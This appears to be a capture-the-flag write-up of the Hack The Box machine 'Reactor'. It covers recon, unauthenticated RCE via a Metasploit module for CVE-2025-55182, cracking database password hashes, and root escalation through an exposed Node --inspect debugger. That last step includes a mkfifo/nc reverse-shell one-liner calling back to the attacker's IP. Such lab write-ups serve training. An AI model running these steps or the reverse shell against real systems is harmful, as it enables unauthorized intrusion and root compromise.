↓ Skip to main content
HTB: Reactor
  1. Posts/

HTB: Reactor

Table of Contents

Introduction
#

Reactor is an easy Linux box that leans entirely on a fresh CVE. The front page is a nuclear control panel with nothing to click, so the Next.js build itself becomes the target, a recent React Server Components deserialization bug (react2shell, CVE-2025-55182) hands over an unauthenticated shell as node. From there I pull creds out of a local SQLite database, crack one, and SSH in as a user. Root is a classic misconfig: a root-owned Node process running with --inspect bound to localhost, which I forward out and abuse through the Chrome DevTools Protocol to run code as root.

Recon
#

nmap
#

Initial nmap finds two open TCP ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.60.80
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIoh32XcLYi0Kdad12SajqVyUVXfkDPaB7zZCDCMIJc+fv8JUJwyQRoqX/91+p6uD75Ggdp4VNzA7WasIkyo/4U=
|   256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPws9RyzoCW2cXzOFxeZCCt8rWcNu2umX2kqLLK6T+7H
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Wed, 23 Sep 2026 06:13:10 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Wed, 23 Sep 2026 06:13:10 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close

TCP 3000
#

On port 3000 there is a web application running:

web

It shows a reactor control panel, static website to simulate a nuclear plant.

With nothing to click on and dir search coming empty, the framework itself became the target. Few different angles, mainly the Next.js version pointed straight to a recent CVE, react2shell, an unauthenticated RCE affecting specific Next.js builds.

User
#

CVE-2025-55182
#

There is a simple check for CVE-2025-55182 in msfconsole

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > show options

Module options (exploit/multi/http/react2shell_unauth_rce_cve_2025_55182):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni,
                                         socks4, http, socks5, socks5h
   RHOSTS     10.129.60.80   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                         etasploit.html
   RPORT      3000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Path to the React App
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_nodejs):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Next.js - Unix Command

View the full module info with the info, or info -d command.

After a setup is done I cna run it:

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
[*] Started reverse TCP handler on 10.10.15.23:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.15.23:4444 -> 10.129.60.80:57366) at 2026-09-23 03:35:33 -0400

And there is a shell:

id
uid=999(node) gid=988(node) groups=988(node)

Database
#

Inside I find a reactor.db database with two credentials:

> ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
> sqlite3 reactor.db

select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

I attempt to crack them both, getting one of them:

└─$ hashcat -m 0 creds ~/Tools/rockyou.txt

<SNIP>

39d97110eafe2a9a68639812cd271e8e:reactor1                 

<SNIP>

SSH
#

With the discovered credentials I can SSH to the machine and grab the user flag:

└─$ ssh engineer@10.129.60.80                         
engineer@10.129.60.80's password: 
 ____  _____    _    ____ _____ ___  ____  
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \ 
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ < 
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    
    AUTHORIZED PERSONNEL ONLY
Last login: Wed Sep 23 07:51:12 2026 from 10.10.15.23
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
1733aea1e11ecc2f945aec6768516112

Root
#

As always I checked the sudo permissions, but engineer had nothing configured.

Next, I took a look at open ports, and got port which is only available on the localhost:

engineer@reactor:~$ ss -tulnp
Netid       State        Recv-Q        Send-Q               Local Address:Port               Peer Address:Port       Process       
udp         UNCONN       0             0                       127.0.0.54:53                      0.0.0.0:*                        
udp         UNCONN       0             0                    127.0.0.53%lo:53                      0.0.0.0:*                        
udp         UNCONN       0             0                          0.0.0.0:68                      0.0.0.0:*                        
tcp         LISTEN       0             4096                       0.0.0.0:22                      0.0.0.0:*                        
tcp         LISTEN       0             511                      127.0.0.1:9229                    0.0.0.0:*                        
tcp         LISTEN       0             4096                    127.0.0.54:53                      0.0.0.0:*                        
tcp         LISTEN       0             4096                 127.0.0.53%lo:53                      0.0.0.0:*                        
tcp         LISTEN       0             4096                          [::]:22                         [::]:*                        
tcp         LISTEN       0             511                              *:3000                          *:*   

Now, to see what is there:

engineer@reactor:~$ ps aux | grep "9229"
root        1388  0.0  1.0 802432 41624 ?        Ssl  07:25   0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
engineer    1519  0.0  0.0   6544  2276 pts/0    S+   07:28   0:00 grep --color=auto 9229

A root-owned Node process running with --inspect enabled, which exposes Chrome’s DevTools Protocol for debugging. That is the way in, Chrome DevTools Protocol lets me evaluate arbitrary JavaScript inside the running process, and this process is running as root.

All I need to do is forward port 9229 to my attack host so I can access the Chrome DevTools and access the console to run malicious javascript payload.

└─$ ssh -L 9229:127.0.0.1:9229 engineer@10.129.60.80
devtool

I can run the code in DevTools Console, first to check if it works with:

require('child_process').execSync('id').toString()

and after I get the result and see I am root run the revshell:

require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.23 4445 >/tmp/f').toString()
shell

I catch the shell on the awaiting listener and grab the root flag:

└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.60.80] 35432
bash: cannot set terminal process group (1388): Inappropriate ioctl for device
bash: no job control in this shell
root@reactor:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@reactor:/# cat /root/root.txt
cat /root/root.txt
1d29656073713bf04e547d21cfac6e95
root@reactor:/# 
Author
~